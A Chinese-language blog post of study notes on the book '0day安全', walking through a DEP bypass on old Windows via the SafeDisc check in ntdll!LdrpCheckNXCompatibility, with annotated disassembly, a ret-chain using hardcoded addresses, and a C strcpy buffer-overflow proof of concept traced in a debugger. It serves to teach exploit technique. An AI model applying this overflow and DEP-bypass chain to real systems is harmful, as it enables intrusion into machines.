0day安全这书越到后面越难,哎...先记录一下看书过程中的注记,便于后面理解。
书中以绕过ntdll!LdrpCheckNXCompatibility:ntdll!LdrpCheckNXCompatibility对SafeDisc的检测为例展开讨论。以下为代码流程图:
1.
ntdll!LdrpCheckNXCompatibility:
7c93cd17 8365fc00 and dword ptr [ebp-4],0
7c93cd1b 56 push esi
7c93cd1c ff7508 push dword ptr [ebp+8]
7c93cd1f e887ffffff call ntdll!LdrpCheckSafeDiscDll (7c93ccab)
7c93cd24 3c01 cmp al,1 ;只有满足al==1,才会发生下面的跳转
7c93cd26 6a02 push 2
7c93cd28 5e pop esi ;push 2/pop esi==mov esi,2
7c93cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ;跳到2处执行
2.
ntdll!LdrpCheckNXCompatibility+0x1a: ;
7c95f70e 8975fc mov dword ptr [ebp-4],esi
7c95f711 e919d6fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f) ;跳到3处执行
3.
7c93cd2f 837dfc00 cmp dword ptr [ebp-4],0 ;[ebp-4]中的值来源于1.中地址0x7c93cd26和0x7c93cd28的push/pop语句
7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4处执行
4.
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04 push 4
7c956833 8d45fc lea eax,[ebp-4]
7c956836 50 push eax
7c956837 6a22 push 22h
7c956839 6aff push 0FFFFFFFFh
7c95683b e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d) ;跳到5处执行
5.
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e pop esi
7c93cd6e c9 leave ;mov esp,ebp pop ebp
7c93cd6f c20400 ret 4 ;ntdll!LdrpCheckNXCompatibility检测SafeDisc的流程结束
上面的代码片中有一处关键性的比较语句,只有当此处比较的结果得到满足,就能顺利关闭DEP。因此,全篇幅都是围绕此处代码在堆栈中做相应的调整。(虽然在3.处有一个比较语句,但此时[ebp-4]中的值为2,因此必然会发生跳转)。你可能会想当然的觉得只要在栈中预留一段
mov al,1;
jmp 0x7c93cd24 ;跳转到cmp al,1处
这样的shellcode,使之覆盖栈中返回地址,当程序返回时跳转到mov al,1所在的地址,然后一切就搞定了~别忘了,现在堆栈是禁止执行的,所以这条路是行不通的。唯一能做的是在进程全部的可执行代码空间中寻找一段包含mov al,1的指令,然后将程序的返回地址覆盖为它。就这样结束了?当然不,CPU执行完mov al,1以后还要强制扭转CPU回到0x7c93cd24 cmp al,1处继续执行,否则,又无法关闭DEP了。
能强制扳转程序执行流的指令,往往首先会让人想到是:在进程空间中搜索到mov al,1;Call/Jmp xxxx目标这样的指令流。但是,仔细想想好像这些指令未必有用:
1.以0x7c93cd24为目的地址的直接跳转指令的数量应该不多;
2.call/jmp [N]这样的间接跳转指令,也会因为无法修改[N]的值导致跳转失败。
那是不是我们通向关闭DEP的道路就被堵死了?也不是,还有一种间接的跳转方式:push/ret指令组合。你可能会说进程空间中也未必会有push 0x7c93cd24这样的指令吧?没错,这样的指令确实不多,但是push/ret组合的本质是把返回地址通过push指令预设在堆栈中,当需要ret时,CPU到栈顶取返回地址。基于这种方式我们可以在溢出时将所有要跳转的目的地址全部预设在堆栈中,在需要进入LdrpCheckNXCompatibility函数时ret出来即可。
借鉴这种方式,在进程空间中搜索mov al,1;ret这样的指令流来满足第一个cmp语句。Od提示在0x7c80c190处有mov al,0x01;ret指令。在执行LdrpCheckNXCompatibility前,我们要跳去0x7c80c190处执行mov al,0x01;当遇到ret指令时,又要从栈顶取返回地址,跳到0x7c93cd24执行cmp al,0x01。对于第一次跳转,我们可以安排在test函数返回时发生,由于执行一次return语句会使esp=esp+4,因此第二次跳转的地址存放在堆栈上紧接着前一次返回地址的4个字节。
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\ //这8B正好覆盖到[ebp]
"\x90\xc1\x80\x7c"\ //覆盖test返回地址,使其指向mov al,0x01
"\x24\xcd\x93\x7c"\ //ret的返回地址,返回到LdrpCheckNXCompatibility执行cmp al,0x01
"\x90\x90\x90\x90"};
int test()
{
char arry[4] = {0};
strcpy(arry,shellcode);
return 0;
}
int main()
{
HMODULE hMod = LoadLibrary("shell32.dll");
test();
}
我们来验证一下上面的shellcode是否能通过0x7c93cd29 je判断,进而进入LdrpCheckNXCompatibility的伪代码2中执行(注意esp的变化):
1.即将从test函数返回到mov al,0x01;ret指令序列中:
此时esp的值为0x12FF78,存放了mov al,0x01;ret指令序列所在的地址0x7c80c190。当test函数中的ret指令返回时,将返回到地址0x7c80c190。
2.即将返回到LdrpCheckNXCompatibility中:
由于前一次ret指令,esp寄存器的值比上一次截图多4B,指向0x12ff7c。其存放的返回地址为:0x7c93cd24,即进入到LdrpCheckNXCompatibility函数中。
3.进入LdrpCheckNXCompatibility函数:
恩,看来这样安排堆栈可以进入LdrpCheckNXCompatibility。
4.虽然,程序进入了LdrpCheckNXCompatibility,并执行通过cmp al,0x1但没执行几步就发生了异常:
一旦程序执行到0x7c95F70E处的mov ss:[ebp-0x04],esi指令,会触发访问无效内存的异常。此时EBP的指向0x90909090,往[0x90909090-4]处写值当然会引发异常。当然OD也提示我们这块地址无法访问:
触发访问无效内存的截图,右边为调用堆栈,倒数第二行显示的ExitCode=0xC0000005就是异常号:
要解决这个异常,需要调整ebp的值,让ebp指向有效的内存,当然栈空间是最好不过的。至于怎么做,这个放到下一篇再写~